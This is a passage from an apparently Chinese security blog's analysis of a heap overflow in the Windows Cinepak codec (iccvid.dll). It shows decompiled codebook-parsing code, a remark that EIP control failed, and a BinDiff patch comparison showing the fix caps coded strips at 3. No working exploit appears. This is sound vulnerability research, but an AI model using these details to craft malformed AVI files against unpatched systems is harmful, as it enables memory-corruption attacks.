v31 = (char *)(Heap_UserPtr + 2);
do
{
if ( num >= 0x100 ) // codebooks最多包含256个codebook vector
break;
v61 >>= 1;
if ( v61 ) // v61第一次为0x0,第二次为0x80000000,第三次为0x40000000,第四次为0x20000000
{
v6 = v61 & v62; // v62为swAdvance2()读出来的大端形式的数据
}
else
{
// 0x0,chunk data指针的指针,chunk data长度指针
v6 = swAdvance2(&v61, (_BYTE **)&v64, &CVID_Chunk_ID_Ptr);// chunk data的前四字节为一个flag
v8 = (unsigned __int8 *)v64; // chunk data指针
}
// chunk data四字节数据某一位不为0,chunk data长度>=6
if ( v6 && CVID_Chunk_ID_Ptr >= 6 )
{
// 从chunk data+4开始,解析codebook vector
LOWORD(v7) = (char)v8[5]; // 第6字节数据
v32 = v8[4]; // 第5字节数据
v33 = v32; // 第5字节数据
v64 = 2 * v7; // 第6字节数据*2
v34 = -v7 - v32 / 2; // -第6字节数据-第5字节数据/2
v35 = *v8; // 第1字节数据
v33 *= 2; // 第5字节数据*2
Heap_UserPtr = v34;
v36 = GetBounding24(v35 + v33 + 64);// 第1字节数据+第5字节数据*2+0x40
v37 = Heap_UserPtr;
*(v31 - 2) = v36; // 堆缓冲区第0x10*num+1字节
v38 = GetBounding24(*v8 + v37 + 64);// 第1字节数据+(-第6字节数据-第5字节数据/2)+0x40
v39 = v64;
*(v31 - 1) = v38; // 堆缓冲区第0x10*num+2字节
*v31 = GetBounding24(*v8 + v39 + 64);// 第1字节数据+第6字节数据*2+0x40,堆缓冲区第0x10*num+3字节
v40 = GetBounding24(v8[1] + v33 + 64);// 第2字节数据+第5字节数据*2+0x40
v41 = Heap_UserPtr;
v31[2] = v40; // 堆缓冲区第0x10*num+5字节
v42 = GetBounding24(v8[1] + v41 + 64);// 第2字节数据+(-第6字节数据-第5字节数据/2)+0x40
v43 = v64;
v31[3] = v42; // 堆缓冲区第0x10*num+6字节
v31[4] = GetBounding24(v8[1] + v43 + 64);// 第2字节数据+第6字节数据*2+0x40,堆缓冲区第0x10*num+7字节
v44 = GetBounding24(v8[2] + v33 + 64);// 第3字节数据+第5字节数据*2+0x40
v45 = Heap_UserPtr;
v31[6] = v44; // 堆缓冲区第0x10*num+9字节
v46 = GetBounding24(v8[2] + v45 + 64);// 第3字节数据+(-第6字节数据-第5字节数据/2)+0x40
v47 = v64;
v31[7] = v46; // 堆缓冲区第0x10*num+10字节
v31[8] = GetBounding24(v8[2] + v47 + 64);// 第3字节数据+第6字节数据*2+0x40,堆缓冲区第0x10*num+11字节
v48 = GetBounding24(v8[3] + v33 + 64);// 第4字节数据+第5字节数据*2+0x40
v49 = Heap_UserPtr;
v31[10] = v48; // 堆缓冲区第0x10*num+13字节
v50 = GetBounding24(v8[3] + v49 + 64);// 第4字节数据+(-第6字节数据-第5字节数据/2)+0x40
v51 = v64;
v31[11] = v50; // 堆缓冲区第0x10*num+14字节
LOBYTE(v6) = GetBounding24(v8[3] + v51 + 64);// 第4字节数据+第6字节数据*2+0x40
v31[12] = v6; // 堆缓冲区第0x10*num+15字节
CVID_Chunk_ID_Ptr -= 6; // chunk data长度-6
v8 += 6; // Chunk data指针+6
v64 = (unsigned int)v8; // chunk data指针
}
++num; // codebook vector计数器
v31 += 16; // 堆缓冲区指针+16
}
while ( CVID_Chunk_ID_Ptr >= 6 );
}
break;
case 0x24:
case 0x26:
if ( v9 >= 4 )
{
v6 = Heap_UserPtr + 1;
do
{
if ( num >= 0x100 )
break;
v52 = *(_BYTE *)v7;
CVID_Chunk_ID_Ptr -= 4;
*(_BYTE *)(v6 + 1) = v52;
*(_BYTE *)v6 = v52;
*(_BYTE *)(v6 - 1) = v52;
v53 = *(_BYTE *)(v7 + 1);
*(_BYTE *)(v6 + 5) = v53;
*(_BYTE *)(v6 + 4) = v53;
*(_BYTE *)(v6 + 3) = v53;
v54 = *(_BYTE *)(v7 + 2);
*(_BYTE *)(v6 + 9) = v54;
*(_BYTE *)(v6 + 8) = v54;
*(_BYTE *)(v6 + 7) = v54;
v55 = *(_BYTE *)(v7 + 3);
v7 += 4;
++num;
*(_BYTE *)(v6 + 13) = v55;
*(_BYTE *)(v6 + 12) = v55;
*(_BYTE *)(v6 + 11) = v55;
v6 += 16;
}
while ( CVID_Chunk_ID_Ptr >= 4 );
}
break;
case 0x25:
case 0x27:
v61 = 0;
if ( v9 >= 4 )
{
v56 = (_BYTE *)(Heap_UserPtr + 1);
do
{
if ( num >= 0x100 )
break;
v61 >>= 1;
if ( v61 )
{
v6 = v61 & v62;
}
else
{
v6 = swAdvance2(&v61, (_BYTE **)&v63, &CVID_Chunk_ID_Ptr);
v7 = v63;
}
if ( v6 && CVID_Chunk_ID_Ptr >= 4 )
{
v57 = *(_BYTE *)v7;
CVID_Chunk_ID_Ptr -= 4;
v56[1] = v57;
*v56 = v57;
*(v56 - 1) = v57;
v58 = *(_BYTE *)(v7 + 1);
v56[5] = v58;
v56[4] = v58;
v56[3] = v58;
v59 = *(_BYTE *)(v7 + 2);
v56[9] = v59;
v56[8] = v59;
v56[7] = v59;
LOBYTE(v6) = *(_BYTE *)(v7 + 3);
v7 += 4;
v56[13] = v6;
v56[12] = v6;
v56[11] = v6;
v63 = v7;
}
++num;
v56 += 16;
}
while ( CVID_Chunk_ID_Ptr >= 4 );
}
break;
default:
return v6;
}
}
return v6;
}

  所以这部分数据是可以控制的。但是,由于每次堆块内存数据复制时的复制数据长度(ecx)固定为0x800*4=0x2000字节,而超出0x6000字节堆块数据区域之后的0x2000字节内存包含一段内存状态(State)为MEM_RESERVE的内存,会造成内存访问异常,所以无法控制EIP

0x50 漏洞修复

  我们可以从以下链接找到此漏洞的相关信息,以及漏洞补丁的下载链接:

  根据测试环境,下载对应的漏洞补丁。我这里下载的是Windows XP环境下的补丁。补丁安装前安装后iccvid.dll模块的版本如下:

  • 安装前:1.10.0.12
  • 安装后:1.10.0.13

  书中用的是Turbodiff进行补丁比较的,它是IDA的一款插件。由于其长期未更新,且支持的IDA版本较低,所以这里还是用BinDiff来进行补丁比较。结果如下:

补丁前后关键函数对比图

  上图中的红框部分补丁代码的关键部分,最初esi存储的是指向样本中cinepak_codec_data1的指针,通过固定的偏移,将Number of coded strips读出,存放在局部变量[ebp-0x8]中。然后将其与3做比较,如果Number of coded strips>3,则将Number of coded strips修改为3,反之,则不进行任何操作。这段补丁代码主要是对Number of coded strips进行限制,只允许其小于等于3,若超过则强制修改为3

  一个Frame可能包含多个Strip,但是第一个必须是“Strip CVID ID”0x1000Strip。因为第一次进行堆块内存数据复制时,源地址(esi)为堆块数据区域首地址目的地址(edi)为堆块数据区域首地址+0x2000,而堆块数据区域的前0x2000字节数据,正是由“Strip CVID ID”0x1000Strip解码得来的。当Number of coded strips = 3时,除去“Strip CVID ID”0x1000Strip外,还有2个是“Strip CVID ID”0x1100Strip。这样,只会进行两次堆块内存数据复制,所以不会造成堆溢出。

0x60 Reference

文章目录
  1. 0x00 漏洞描述
  2. 0x10 分析环境
  3. 0x20 漏洞复现
  4. 0x30 漏洞原理分析
    1. 0x31 AVI文件格式
    2. 0x32 Cinepak视频编解码器
      1. 1、Frame Header
      2. 2、Strip Header
      3. 3、CVID Chunk
      4. 4、Intra list of codebook blocks(IDs 0x2000, 0x2200, 0x2400, 0x2600)
      5. 5、Inter selective list of library blocks(IDs 0x2100, 0x2300, 0x2500, 0x2700)
      6. 6、Vectors used to encode a frame(ID 0x3000)
      7. 7、Selective set of vectors used to encode a frame(ID 0x3100)
      8. 8、List of blocks from only the V1 codebook(ID 0x3200)
    3. 0x33 定位漏洞点
  5. 0x40 漏洞利用
  6. 0x50 漏洞修复
  7. 0x60 Reference